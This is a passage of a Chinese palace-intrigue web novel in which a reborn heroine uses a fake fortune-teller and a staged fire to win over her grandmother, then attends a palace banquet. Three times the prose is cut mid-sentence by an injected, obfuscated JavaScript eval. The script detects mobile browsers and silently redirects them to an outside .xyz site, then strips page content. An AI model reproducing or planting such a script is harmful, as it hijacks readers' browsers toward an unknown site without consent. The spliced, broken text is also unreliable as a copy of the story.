崔莞言不置可否，眼中暗含的深意叫青禾猜不透。 她眯眼望向天。“明日自然见分晓。” - 次日未时，崔晋刚回府又匆匆离去，说是宫中传来急报，通州自昨夜起突降暴雨，雨势至今不歇，河堤崩塌，已有人家被冲垮屋舍。 这场百年难遇的大雨，说来便来，毫无预兆。 京中瞬时沸腾，京郊护国寺住持已率高僧鸣钟诵经，为水患亡魂祈福超度。 市井茶楼里，昨日还笑话白眉疯言疯语的百姓，此刻疯了般四处打听消息，一日间便从“疯子”改称他为“天师”。 崔莞言看了眼天色，便也出门赴约。 她回到那天的巷口。角落里，一个身披斗篷、头戴面纱的身影轻手轻脚地起身朝她招手。 “姑娘您往这来。” 二人走至无人巷尾，白眉忽地揭开斗篷，跪了下来。“姑娘真乃神人！” “当日姑娘所言通州将降百年罕见大雨，我本也不信，未料竟真的应验了！街上所有笑话我疯言疯语的人，这两日都疯了似的来找我算命，说我是仙人附体！” 白眉虽说只是个半吊子，平日里靠坑蒙拐骗混口饭吃，嘴上花言巧语不断，却信道是真，遇上这样能预知天命的神仙，便是要他死也在所不惜。 他越说越激动，声音都在颤抖：“姑娘，您若是要白眉为您办事，只管吩咐！哪怕是……哪怕是上刀山下火海！” 崔莞言看着他眼里炽热到近乎疯狂的光，面色未改。 她是最不信神仙，最不信命的。 “我要你为我办件事。” “姑娘请讲。” “你今日便往外散播消息，就说你一月只能开两次天眼，如今只剩最后一次，要在两日后的良辰吉日寻个有缘人，为他看相。” 白眉屏息聆听，“那地点……” “棠湘楼。”崔莞言轻轻吐出三个字。“去做吧。” 见白眉一脸视死如归的样子，她满意地点了点头。 - 三月十二，棠湘楼外。 清晨时分便有人来等位，传言那能预见天机的神仙，今日要选有缘人开天眼看相，若得一言指点，便可避灾趋福。 人越聚越多，巷口水泄不通，挑担的、看热闹的、抱着孩子的妇人……里三层外三层围了个严严实实。 棠湘楼掌柜急得满头是汗，却不敢驱赶，只能吩咐小厮往来维持秩序，生怕人群拥挤闹出事端。 这时，巷口骚动起来。 一顶样式古雅的软轿停在外头，帘子撩起，一名老妇被丫鬟搀着下了轿。 那老妇面色保养得极好，身穿素衣，手中拿着一串佛珠。 她虽年纪已长，却仪态端肃，气度不凡，仅仅立在棠湘楼门前，就令嘈杂的人群不由得退让出一条道来。 人声渐息时，白眉缓步自楼中走出，手中捧着一个竹筒，里面整齐码着数百根竹签。 “今日是老天赐下的吉日，我每月只开两次天眼，如今只剩最后一次，要选一个有缘人。谁若能抽到筒中唯一一支上上签，便可得我开天眼相助，改命趋吉。” 围观的人群哗然，随后蜂拥而上，争先恐后地排起长队。 推搡碰撞间，那老妇人被人流冲得险些摔倒，好在身边丫鬟眼疾手快，死死搀住她手臂，这才稳住身形。 人群中陆续有人上前抽签，或是双手合十默念，或是面色焦急汗湿鬓发。 抽出的签一根根递给白眉。 白眉半垂着眼，指尖抚过签身。 “此签凶多吉少，唯有积德可化。” “此签虽非上吉，但困境中有转机。” “此签小吉，来年可得小财。” 围观的人听得或喜或忧，却都未见白眉有过大的表情变化。 每一根签抽出后，都有人探头去看，想看看那唯一的上上签何时会被抽走。 可那上上签仍未现身。 半晌过去，老妇人终于在丫鬟搀扶下挤了上来。 白眉道：“请。” 老妇人抬手，犹豫片刻后从竹筒最中间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970179|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽出一根签，掂在手里细看，却未见有什么不同，便递了过去。 白眉接过，看了一眼便顿住。 “青龙入海，云开月明，逢春而发，百事顺遂。夫人所抽，正是这唯一一支，上上签。” “上……上上签？” “真有人抽到了？” 原本拥挤的人群被白眉几句“今日天机已定”遣散得干干净净。 - 棠湘楼内，茶香氤氲。 丫鬟扶着老妇人上了二楼，白眉早已在一间幽静的厢房候着。 崔莞言立在屏风后，视线透过缝隙落在那老妇人身上。 祖母，真是好久不见了。 她最信鬼神，最信道法，整个大夏的术士、道士都被她请了个遍。哪怕是三更半夜远道求符，她也甘之如饴。 当年她就是听信所谓高人一句话，狠下心将还在襁褓中的她送去了封州。 如今听说有人能开天眼，还能断人生死，她怎可能不来？ 可惜啊，祖母，你的气运就快到头了。 屏风前，崔老夫人端坐着，平日对人颐指气使，现下却是一副谦和之态，正要开口，被白眉打断。 “夫人不必言说，待老夫算上一算。” 说罢，白眉闭上眼，竖起两指置于眉心，嘴中念念有词：“天地无极，乾坤入法，开！” 他眉头深锁，片刻后缓缓睁眼。 “夫人眉宇丰润，印堂饱满，生来便是贵人之命。夫人一家受福星庇佑，一生锦衣玉食，福泽深厚，万事顺遂。” “只是……” “只是什么？” “福星自十七年前降生在府中，便带着福泽而来，本该护佑府上兴盛无虞，可却尝尽艰辛，风霜雨雪皆受，险些丧命异乡。” 白眉轻叹一声，摇头道：“福星受苦，便是福泽受损，如今福泽大减，气运流散，若不早做补救，怕是再难护住夫人这一家平安了。” 崔老夫人听后脸色瞬间白了。 “大师……是不是算错了？十七年前降生在我崔家的……哪有什么福星，那分明是个灾星！当年我请高人来看过，那人说她暴雪降生、命格薄凉，带煞无解，我这才……才……将她送走的。” 白眉静静看着她，沉默片刻，笑道：“若真是带煞，除非杀了……否则于事无补，可夫人只是命人送走，您想想看，那孩子活到这么大，府中可有半分衰落？” 崔老夫人听着白眉的话，胸口起伏，汗浸透了掌心。 十七年前的那场暴雪，封路三日，人人都说是大不祥。可那之后呢？国公府确实没有半分衰落。 先是自家女儿在先皇后宫苦熬多年，终册封皇后。后来先皇驾崩，外孙继位登基，又娶了亲孙女为皇后。 京中人都说国公府是忠良世家福泽深厚，爵禄不坠权势不倒。 如今想来……的确一路亨通，这天下再找不出第二家了。 白眉见她陷入深思，又道：“世人只知暴雪是凶兆，却不知那雪封的是外煞，断的是杀劫。可解煞之人流落在外多年，气运日衰，若再不续回气运，外煞总有回转之时。” 灾星之说，崔老夫人多年来深信不疑，如今白眉不过寥寥数语，就要颠覆她多年信念，如何能轻易信下？可偏偏他说得又有几分道理。 她将信将疑地问：“这气运如何续回？” “需善待她，吃穿用度皆为最好，所欲所求无一不应，让她心中无怨无悔，方能续住府上的这份福泽。若是不真心对她，只怕……夫人身边不日就要有火光之灾。” 白眉见她眼中带着狐疑，叹了口气，“夫人若觉此言荒谬，老夫便不再多言。” 8. 后院起火 崔老夫人走后，崔莞言从屏风后出来，站在窗边，看着国公府的轿辇走远，直至消失在转角。 “你做得不错。”她对白眉说。 白眉自觉并未出多大力，不过是照着她教的，一字不差地说了出来，便叫那平日高高在上的国公府老夫人面色惨白、连声称是。 真正动手的，不是他。 他抬眼，瞥向窗边那道纤瘦的身影。 这位仙人年纪不大，眉眼总带着漠视苍生的悲寂，自幼被弃在外吃尽苦楚，如今回到这锦绣荣华的上京，却依旧冷静清明。 白眉心中暗暗叹服。如此手段、如此心性，怎会是灾星？ 她分明，是这世上少有的龙凤。 崔莞言的视线仍停在人群散去的街角，忽然瞥见一个熟悉的身影。 她和那人也算得上是“老友”了。 今日，那人多半是来看白眉开天眼的热闹。 她收回目光，抬手示意白眉过来。“叫你分文不取，倒是委屈你了。” “不委屈，能为小姐办事，是白某的荣幸。”白眉连忙躬身。 崔莞言抬手指向街对面那家绣坊门口。“看见那位穿明黄色衣裳的姑娘了吗？” “去告诉她，就说她是享福的命，日后定能高嫁。赏钱，自然少不了你的。” - 回府时，崔莞言听说，崔老夫人因一路从护国寺赶回，舟车劳顿，吩咐了不让任何人打扰。 “老夫人回来了，小姐今日可要拜见？”桃枝端来一壶花茶，试探地问。 桃枝的小心思，崔莞言看得分明。去拜见？好落个冲撞长辈、讨人嫌的罪名，让李氏借机出手？ 她垂眸接过茶盏：“祖母舟车劳顿，理当好生歇息，哪能冒昧叨扰？你这是叫我去触霉头？” 桃枝脸色一白，手中茶壶差点没拿稳：“奴、奴婢不敢……奴婢只是想着小姐初回京，孝道为先……” 崔莞言冷冷地盯着她，片刻后唇边笑意一挑。“只是句玩笑话罢了，可吓着你了？”她低头抿了一口茶，眉眼温柔。 桃枝却是脊背一凉。 “没……没有。” 见崔莞言不再看她，她才如蒙大赦般匆匆行礼，嘴里嘟囔着要去看晚膳，脚步匆匆地退了出去。 屋内静了下来。 不知何时，柳枝垂着头冒出来，手中提着一个食盒，小心翼翼地走上前。 “小姐，这是……刚送来的点心。” 食盒半掩着，露出里面整整齐齐摆放着的梨花糕。 她从前最爱吃这点心，王府的厨房里有个手艺极好的婆子，几乎每日午后都会为她做不同的糕点，她最爱的便是这口梨花糕，软糯清甜，入口即化。 那婆子是最早进王府的一批下人，现下应已在褚元唐身边伺候着。 她拿起一块咬了一口，那点清香停在唇齿间，却无半分甜意。 回过神，她吩咐道：“去把我买回来的蜡笺和松脂墨拿过来。” - 歇息了一日，崔老夫人总算恢复了精神，一早便坐在正厅念佛经。 伺候她的赵嬷嬷推门进来。 “老夫人，二小姐来了。” 崔老夫人闻言抬起眼。 虽说昨日那大师说她是福星，可这十七年来灾星的说法早已在她心底生根发芽，叫她骤然对那丫头好，她心里还是拧着，哪里能立刻改了念头？ 沉默片刻，她摆摆手：“你就说我还累着，今日不见她了，去库房取几匹云锦和两只珠钗给她，让她回去。” “回老夫人，二小姐未说要拜见……只是送了一幅画过来，说是给您的礼。” “画？” 崔老夫人眉心一跳，看向那被捧进来的锦盒。“打开吧，让我瞧瞧。” 赵嬷嬷展开画卷，一股松香与淡淡的油墨味散开。 画上是一幅寿比南山图，山石以浓墨勾勒，笔触硬朗，崖壁嶙峋，层层叠叠直插天际，松柏扎根于石缝中，枝干扭曲向上，枝叶繁茂。 崔老夫人盯着画上那株古松看了很久，忽觉浑身发软，抚了抚手臂想将那阵寒意拍散，却怎么也散不去。 “收起来吧。” 赵嬷嬷应声将画卷好，刚要退下，崔老夫人又抬起手，眉头紧紧皱起。 明明是祝寿的画，可不知怎的，她看着那黑白分明、线条凌厉的山石古松，总觉得画上那团浓墨，像是干透的暗血，隐隐透着腥气。画卷间似有一股阴冷的风吹出，无声无息地缠上来，让人心头发凉。 “算了……拿去烧了吧。” 赵嬷嬷愣了愣，“老夫人，大师不是说要对二小姐好些……” “府上好吃好喝地伺候着，又不曾亏待她。烧了吧，别留在眼前晦气。”崔老夫人有些不耐烦，闭上眼，挥手让她出去。 赵嬷嬷见劝不动，只得应下，快步退出屋子，在院中找了个火盆，将那画卷扔进去。 “唉，可惜了。”她叹息着摇了摇头，这二小姐倒是个懂事的，可算命的几句话，又哪里能动得了老夫人的心思。 她弯腰，点燃火折子。 火苗舔上蜡笺的那一瞬，本该是寻常的“滋啦”一声轻响，可下一刻，火焰猛地腾起，黑烟飘散开来。 “哎呀！” 她慌忙后退，却不防火星飞溅出来落在她裙摆上，火苗沿着布褶迅速向上窜去。 “着火了！来人啊！” 她拍打着裙摆，火苗却越蹿越高，带起一股呛鼻的焦糊味，慌乱间她又撞倒了旁边的盆景。 院门口守着的小厮和丫鬟听见动静，纷纷冲进来。 “抖开裙子！” “嬷嬷别乱跑！” 一群人正乱作一团时，崔老夫人被喧嚷惊动，披着斗篷走出来，抬眼便见院中有火光，焦味直扑面门。 “怎么回事？！”她一惊，险些没站稳，身子踉跄，被身边的丫鬟扶住才没摔倒。 “快泼水啊！还愣着做什么！” “是，快拿水来！快拿水！” 小厮提着水盆冲上来，冰凉的水“哗”地泼在赵嬷嬷身上，火瞬间灭了。 赵嬷嬷打了个寒噤，浑身湿漉狼狈不堪。 她赶忙向崔老夫人请罪：“奴婢该死……奴婢一时手忙脚乱，险些惹出大祸，请老夫人责罚！” 崔老夫人被火光惊得心口发紧，望着眼前一地狼藉，想起算命天师的话。 若不真心对她，身边便会有……火光之灾！ 应验了，竟真的应验了！ - 听竹轩偏僻，一向安静，今日外头却吵吵嚷嚷。 青禾出去看了一圈，回来说：“小姐，是几个丫鬟躲在那说笑，说是老夫人院里的赵嬷嬷不知怎的身上着了火，狼狈得不成样子。” 崔莞言倚在窗边，听完后笑了，眼底却冷得渗人。 还能是为什么？自然是为了烧画，引火烧身。 那幅画是她精心准备的，若祖母肯好好放着也罢，若觉得晦气要烧掉，蜡纸和松脂墨都极易引火，一旦点燃，火势迅猛，必定火星乱溅。 果然祖母是不全信白眉之言的，好在她留了一手，现在呢？祖母怕是不得不信了。 午后，听竹轩来了婆子传话。 “二小姐，老夫人请您过去。” 崔莞言换了身素净的衣裳，便随那婆子去了。 到时，李氏携 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970180|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄氏、孙氏已在正屋坐着。 刚进门，崔老夫人便急着朝她朝手：“好孩子，可算回来了。” 崔莞言见她这副惺惺作态的样子只觉恶心，她强令自己换上楚楚可怜的神情，眼圈泛红，直直跪了下来。 “莞言给祖母请安。” 崔老夫人望着面前这眉目清丽、泪光微闪的少女，十七年了，这孩子竟也长得这般大了，礼数周全教养极好，此刻更信那福星之说才是真。 “快起来，到祖母身边坐。” 崔莞言颤颤巍巍地起身，刚在她身旁坐下，便被拉住了手。 “这么多年你受苦了，以后有祖母给你撑腰，谁要是想欺负你，我必不饶了她。”说话间，她眼神凌厉地扫过下首座位上神色各异的三人。 李氏见这刻薄婆婆竟对崔莞言这般亲昵，恨得牙痒却不敢多言。 庄氏与孙氏相视一眼，眼底尽是疑惑。 崔莞言拭去眼角泪光，垂首应道：“多谢祖母疼爱。” 崔老夫人盯着她看了片刻，目光在她清秀苍白的脸上缓缓游移，皱眉道：“听竹轩那地方太偏僻，也寒凉潮湿，哪是人住的？你在封州吃了这么多年苦，回京了还要受罪不成？ 说着，她不满地瞪了一眼李氏。“从今日起，你便搬去南院，那院子离我近些，我也能随时照看你。” 崔莞言心里冷笑，抬眸，看见祖母脸上刻意做出的和蔼笑容，眼底却依旧是那熟悉的高高在上的傲慢和自以为的施舍。 可她依旧收敛下眼底的冷意，声音轻轻柔柔，带着受宠若惊、小心翼翼的欣喜：“多谢祖母体恤，莞言定不敢辜负祖母这番疼爱。” 崔老夫人被她这副懂事模样哄得心满意足，握着她的手，连声道：“好，好，往后你若缺什么用什么，尽管来和我说。咱们国公府的女儿，什么都不能差了去。” 拍了拍崔莞言的手，崔老夫人转头又看向下首，眼神一冷。 “以后府中谁也不许再提灾星二字，若是我听见谁背地里乱嚼舌根，污了莞言的名声，坏了国公府的清静，便依家法处置，再赶出府去。” 李氏嘴角扯了扯，立刻应道：“母亲说的是，儿媳记下了。” 庄氏与孙氏也忙跟着应声，恭恭敬敬喊了“是”。 屋中气氛凝滞。 李氏垂在袖中攥紧的手忍不住发颤，心想，最爱说灾星的，不就是你这个老东西吗？如今倒是要装起菩萨来了。 庄氏也心思一转，暗暗捏着帕子，心中泛起寒意。那丫头到底给老太太灌了什么迷魂汤，竟让她这般护着？ “今日也晚了，你们先回去，莞言留下陪我用膳。” 三人面色各异，恭声告退，只余下祖孙二人对坐于榻上，窗外一缕日光落在少女安静恭顺的脸上，映出她唇角那一抹几乎看不见的讽笑。 - 用完晚膳出来时，南院已收拾妥帖，青禾笑得合不拢嘴：“小姐，您可真厉害，说会住进南院，果真住进来了。南院可比那听竹轩强太多，连床榻都是新换的软垫，旁边还有暖阁，冬天都不怕冷。” 崔莞言摸了摸青禾的脑袋。“开心？” 青禾笑着点头：“当然开心啊，小姐总算能过几天舒心日子了。” 崔莞言轻轻一笑，抬眼望向夜色中寂静的国公府深处，“这才哪到哪。” 这府里的一切，她都要拿到手，再毁掉。 青禾刚想开口，却见她转身要走。“小姐，这么晚了，您这是要去哪里？”她忙追上去。 “当然是去见一个人。” “这么晚了，小姐要去见谁？” “张嬷嬷。” 回来这些天，差点把她忘了。 9. 宫宴闹剧1 夜色沉沉，黑云压在院墙之上，连一丝月光都未透下来。 下房里，张嬷嬷半躺在炕上，懒洋洋地倚着软枕，捏着签子剔牙。 “蠢丫头，我不是说过要小火慢炖么？这么好的燕窝都给你糟蹋了，喝着都是腥味！” 小丫鬟吓得身子一颤，眼眶含泪，结结巴巴道：“嬷嬷……我不是故意的，就走开了一小会儿……” “行了，一天到晚哭哭啼啼，晦气！”张嬷嬷喝尽碗中最后一口燕窝，随手将空碗砸了过去。 这几日她在屋里养伤，李氏体恤她，赏了不少补品，有人送吃送喝打水端药，好不快活。 她眯起眼，舔了舔干裂的嘴唇，心想这样清闲的日子多些才好。 见丫鬟慢吞吞地收拾碗筷，她越看越烦，怒喝道：“还不滚出去！” “是……是……” 丫鬟急急退下，不敢再多留一步，端着盘子刚走出门，却撞上一个身影，吓得脸色煞白，连忙跪下。 “奴婢该死，冲撞了二小姐。” 崔莞言俯身，伸手将她扶起。 屋内的张嬷嬷听到动静，尖声道：“怎么又哭哭啼啼的，还不快……” 话音未落，她看见门口那道纤细的身影，声音卡在喉咙里，脸色霎时变了。 她连忙从床上挣扎着爬起来，鞋都顾不上穿，赤脚踩在地砖上，身子发抖，挤出一丝比哭还难看的笑：“二、二小姐，您怎么有空……有空过来？” 崔莞言眼底带笑，语气轻柔：“嬷嬷这是不欢迎我？” “怎么会呢。”张嬷嬷连连摆手，额头沁出冷汗，“老奴日日盼着二小姐能来……能来给老奴解药。” 她声音越说越低，手不自觉地捂住小腹，眼中浮现出压抑的恐惧。 “不急，这还有大半个月的时间呢，你放心，死不了。”崔莞言坐在木椅上，目光如刀锋般扫向她。 “我今日来，有话要问你。当年主母小产一事，可有什么蹊跷？难不成还真是我克的？” 张嬷嬷猛地抬起头，眼底闪过一丝慌乱，但很快低下去，磕着头道：“二小姐，没有的事！那是老天不长眼，夫人福薄，怪不到旁人身上，老奴虽是跟着伺候的，可那日的事，老奴真的不知情啊！” “是吗？”崔莞言靠近她，伸手一把扯过衣领，将她拉到自己面前，直勾勾地盯着她看。“若有半句虚言，看到院外那口井了吗？我会亲自送你上路。” 许是想起那日被掩住口鼻、眼前发黑的窒息感，张嬷嬷身子一软，竟瘫坐在地上，涕泪横流，手死死攥住衣角，犹豫了半晌才颤着声音开口。 “老奴想起来了！那天下着大雪，府里乱得很，夫人疼得昏过去，我出去取参汤时，看到一个丫鬟鬼鬼祟祟地在产房外张望，看见我出来，就立刻转身跑了……我当时只顾着回去给夫人拿药，没多看。” “之后夫人就出了事，大雪封路，太医来得晚，等人赶到时已经什么都保不住了。” “府里的丫鬟你难道不认识？” “那丫头机灵能干，原是在夫人身边伺候的，没过多久就得了恩典出府嫁人了。” 说到最后，她已泣不成声。“二小姐，老奴真的只知道这些，不敢撒谎。” 屋里烛火摇曳，映在崔莞言无波的眸中，她笑着去拍张嬷嬷的脸。“这样，你明天起就回主母身边去，按我的吩咐做事。” 张嬷嬷连滚带爬地磕头：“明白了，明白了……二小姐饶命，老奴一定听话……” 崔莞言站起身，掸了掸袖口上的灰尘，垂下眼帘。 十几年前的事，张嬷嬷说的是真是假，只能慢慢查验，可她心里清楚，若真有人能在那个节骨眼上暗中动手脚，最有可能的，便是庄氏。 庄氏素来心思深沉，表面上对李氏恭顺有礼，从不与人正面冲突，最是擅长收拢人心，暗地里却不知攒下多少暗线。 她又有两个儿子，若那胎能保住，崔时的位置便要受威胁，怎会坐视不理？ 只是，这些不过是她的猜测而已，毫无证据。 在这府里，许多事情都埋在深处，真相被层层遮掩。 无妨。没有证据，就去找证据。 若证据不在，她便亲手去造出证据。 - 翌日清晨，天光乍亮，南院便有人来报。 “二小姐，老夫人让奴婢传话，明日宫中设赏花宴，吩咐您务必入宫赴宴。” 青禾听后不安道：“小姐这才回京几天，就要进宫了……” 崔莞言却笑了笑，不置可否。 福星的待遇果然不一般。 前世她是连宫门都不配踏进去半步的，如今不过数日，便被点了名进宫赴宴。 这场宫宴，在她记忆里极是热闹。 那年上京才女沈明宜失足落水，被崔时救了上来。 忠义侯府的掌上明珠，长得明艳，性子也张扬，素来眼高于顶，对国公府的二少爷从没正眼瞧过。可那一次，当众被人从水中抱起，衣衫湿透、肌肤相贴，纵有千般傲骨，也只能低头认了这门亲。 旁人只当是一场意外，感叹世事弄人，缘分奇妙。 可崔莞言重活一世，早就想明白了，那不是缘分，是算计。 崔时觊觎沈明宜已久，他计划周密，一步步走得滴水不漏，偏偏沈家自诩清誉，自不能让女儿名声受损，便这样亲手把她推入泥潭。 婚后没几年，崔时的新鲜劲过了，便开始宠妾灭妻，沈明宜从明艳少女变作深宅怨妇，曾经张扬的性子也一点点磨没了。 她的一生，就这么葬送在一场英雄救美里。 上辈子崔莞言只想着苟且偷生，不敢插手旁人之事，这次，崔时这个祸害别想再顺风顺水。 这几日，南院热闹了不少。 前脚刚送来一口雕花妆奁，后脚又搬进描金嵌宝的折屏。妆奁里的胭脂水粉都是宫里才得的贡品，名字起得仙气缥缈，一套比一套金贵。 午后又来了个婆子，抱着盒子，小心翼翼地呈上两只南珠镶金钗，珠色莹润，分量极足，一看就是老太太亲自挑的。 这排场，哪是养福星，分明是将她当神女供着。 老太太的心思，她明白，既然如此，她便也不会辜负。 入宫这日，她一反常态地换上水红织金襦裙，外披白纱绣云纹小氅，眉心点了胭脂色花钿，耳戴缠枝坠子，珠钗斜插鬓边，一派贵气。 她不喜浓妆，仍只略施脂粉，却比往日素面更显风华。 青禾看得呆住，半晌没说话，她早知小姐生得好，却不曾想，鲜衣加身，竟叫人移不开眼。 崔莞言唤了她一声：“时候不早了，走吧。” 马车离了国公府大门，朝着宫城方向缓缓行去。 车是崔老夫人平日礼佛所用，漆面旧了些，雕饰也极简。车夫是府里的老人，稳妥厚道，常年送老太太往返寺庙，不显山不露水，连车铃都不曾挂一个。 然而快至靖远坊时，巷口一阵马蹄声突兀响起，一辆彩漆马车倏地转出，径直撞来。 崔莞言掀帘一看，那车极是张扬，周身描金，四角挂铃，幔帘上尽是堆绣花样，帘后坐着的，分明是哪家刁蛮小姐。 驾马的小厮见有人挡道，鞭梢一甩，大喝道：“哪来的破车挡道？快让开，误了我们家小姐的时辰，担得起么！” 他声如洪钟，引得路边行人纷纷侧目。 崔家车夫勒住缰绳，稳声回道：“国公府的马车，劳烦让道。” “国公府？”小厮嗤笑一声，“瞧你这马车，也配是国公府的？唬谁呢！” 话音刚落，身后马车的帘子被人掀开，车内探出一名衣饰华贵、眉目娇艳的女子，原本神情倨傲，似要随之怒骂，可当她目光落在对面那辆低调素雅的马车上时，脸色却变了。 这马车她认得，月前，崔老夫人去护国寺时乘的就是这驾。 车上坐着的女子肤白胜雪，容貌冷艳，一双眼淡淡扫来，虽未言语，却自有一股清冷威压。 这莫非是崔家刚回来的二小姐？听说她在乡下长大，怎么会有如此气场？ 女子忙下马车，一巴掌将自家小厮扇了个踉跄：“混账！谁教你乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970181|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚷的！还不下去赔罪。” 小厮吓得脸都白了，连滚带爬跑到车前，磕头如捣蒜：“奴才有眼无珠，冲撞了贵人，求小姐恕罪！” 崔莞言掀帘下望，眉目平淡。 果然是谢清菱，她还是一如既往地爱穿明黄色。 这位礼部尚书之女素来张扬跋扈，恃强凌弱。父亲是崔晋身边的心腹，哥哥又与崔时交好，前世见她虽贵为国公府之女，却无人撑腰，便多有轻慢讥讽。 如今风水一转，昔日那张张扬跋扈的脸，竟也能堆出一副笑来。 谢清菱忙盈盈一礼，姿态谦恭得过了头：“清菱教下人不严，冲撞了二小姐，待回头定亲自上门赔罪。” 崔莞言微一颔首：“说起来，也不全怪你。下人行事如何，全看主子平日怎么教的。若奴才惯得狠了，迟早也要闯下祸事。” 谢清菱听得脸色发白，心底寒意直冒，却不敢回一句嘴，只强撑笑意：“是清菱教训无方，日后定多加管束。” 崔莞言看都不再看她一眼，低声吩咐：“走吧。” 谢清菱背脊一凉，哪还敢多留，立刻让车退入街边。 崔家马车不紧不慢驶入御道，稳稳当当往宫门而去。 青禾悄声笑道：“方才那位可是礼部尚书家的小姐？听说性子张扬惯了，没想到见着小姐，竟转了性子似的，恭敬得很。” “人前张扬，不过仗着有人撑腰。从前我太安静了，叫人以为我好欺负。” 虽极厌恶崔家，可崔莞言心里清楚，生在国公府便是旁人求不来的上上命，她不屑借崔家权势立威作福，却也不会轻易将这层身份弃之如敝履。 这尊贵的壳子，可让她步步为营，将一切亲手翻过来。 青禾不禁有些紧张：“那等进了宫，若再遇上难缠的主子，小姐也要……” 这次宫宴，虽名为赏花，实则是借机为上京各家未婚子女牵线搭桥。受邀的尽是权贵世家，尤以崔时最受瞩目。 这些人，都不是省油的灯。 “放心，我会应对。”崔莞言温声安抚道。 马车行至宫门前缓缓停下，主仆二人还未下车，便听得一阵马蹄声疾行而来。 骑马之人翻身而下，衣袂翻飞，稳稳落地。 他转头，视线透过帘缝落来，一眼便与车中那道清艳的目光撞上。 四目相接，片刻无声。 崔莞言未避开，抬眼与他对视，一如数年前初嫁王府，抬轿时隔着喜帘看他，那时他也这样看她，只是眼神更冷。 今日倒无恨意，只是漠然。 “小姐，是……周王殿下。”青禾看清那高大冷冽的身影，不敢抬声。 崔莞言看了一眼，唇角淡淡扬起，“正巧。” 她抬手整了整衣袖：“走吧。” 青禾点头，小心扶她下车。 褚元唐目光自远及近，沉沉落在她身上。 崔莞言神色未改，裙摆拂地，步步趋前，盈盈福身。“见过殿下。” 声音不高，语调温顺，连眼神都规规矩矩垂着，像极了那个年少回京、谨小慎微的世家女。 可那红衣之下的骨，却分明换了一个人。 褚元唐居高临下看她，目色晦暗莫测，良久才开口：“不必多礼。” 盯着那张脸，他薄唇动了动，迟疑片刻，没有上前。 崔莞言站直身子，神情未变，却突然侧身让道：“殿下请。” 一语截断了所有可能的寒暄。 褚元唐神色一沉，终是没有说话，转身快步离去。 青禾见那周王虽冷淡，眼中却有一瞬似流出关切，她小声道：“殿下……好像有话要说。” “他说什么，与我又有什么干系？”崔莞言轻声一笑。 是他说的，不愿再有瓜葛，她便隧了他的意。 “殿下今日也进宫，莫不是巧了？” “这世上哪有这么多巧事。” 褚元唐素来寡言冷傲，几乎从不参与这些热闹场合，可上一世今日，他的确赴宴。 若说没有任何谋划，她不信。 10. 宫宴闹剧2 褚元唐透过缝隙看到那双眼时，本不该停下脚步。 可偏偏，只那一眼，便让他脚下生了根。 那一身红衣，极是夺目，也极衬她。 他想夸，却张不开口，更清楚自己不该开口。 都是从那炼狱般的结局里活过来的，崔莞言当真一丝一毫情绪都不肯多给他了。 见她做出一副恭送之态，他也无任何理由再停留，只得转身，朝宫门而去。 一路行至勤政殿前，便有太监迎上前来：“王爷，陛下在殿内等您多时了。” 褚元唐点了点头。 侍卫上前推开门，殿中花香阵阵，御案前，年轻帝王正翻阅奏折。 听见动静，文帝褚元羿抬起头来。二十六岁的年纪，五官俊朗，与褚元唐有几分相似，只那双眼，藏着令人生畏的锋芒。 “臣参见陛下。” “起来吧。”褚元羿随意抬手，目光却未移开他，“今日怎么有兴致来赴宴？” “臣弟刚回京，想着春宴可结识英杰，便来了。” 他当然知道这宴是为给贵胄子弟牵线搭桥，挑婿择媳的场子。 前世，崔家便是在这场春宴上设局逼沈家嫁女。 忠义侯沈尉素来不涉党争，先帝驾崩时，满朝动荡，他始终不曾表态。沈家累世公卿，军中声望极重，崔晋求之不得，崔时更是觊觎沈明宜多年，这才设了这场局。 褚元羿笑了两声，空旷的大殿内，笑意格外瘆人。他这个弟弟他清楚，从小就是臭脾气，从不把别人放在眼里，哪有什么兴趣结交朋友。 “若是瞧中了哪家姑娘，尽管说来，朕赐你做侧妃便是。” 侧妃？褚元唐也笑了，打从一开始，他们就想让崔莞言来做正妃，可今生他不能同意。 “臣弟尚未立功立业，谈及婚娶尚早，更不愿为旁人指婚纳妾。若无情意，娶进门来，便是害她。” 褚元羿手中折子“啪”地一声合上，望着他，似笑非笑。 他原以为褚元唐做了这么多年质子后是长了记性的，不想说话还是如此莽撞。立功？太平盛世他上哪立功？立业？已是王爷，再立业，往上便是他这张龙椅了。 “你是打算孤老终生？娶妻娶贤，情意日后自然有的。” 褚元唐未应，目光略过殿内几盆新摆的花。 勤政殿中本不陈设此物，听闻是沈贵妃嫌殿中肃静，命人送来几盆花点缀。褚元羿竟也由她。 当年拗不过太后，娶了亲表妹为后，如今宠爱却尽在沈贵妃一人身上。 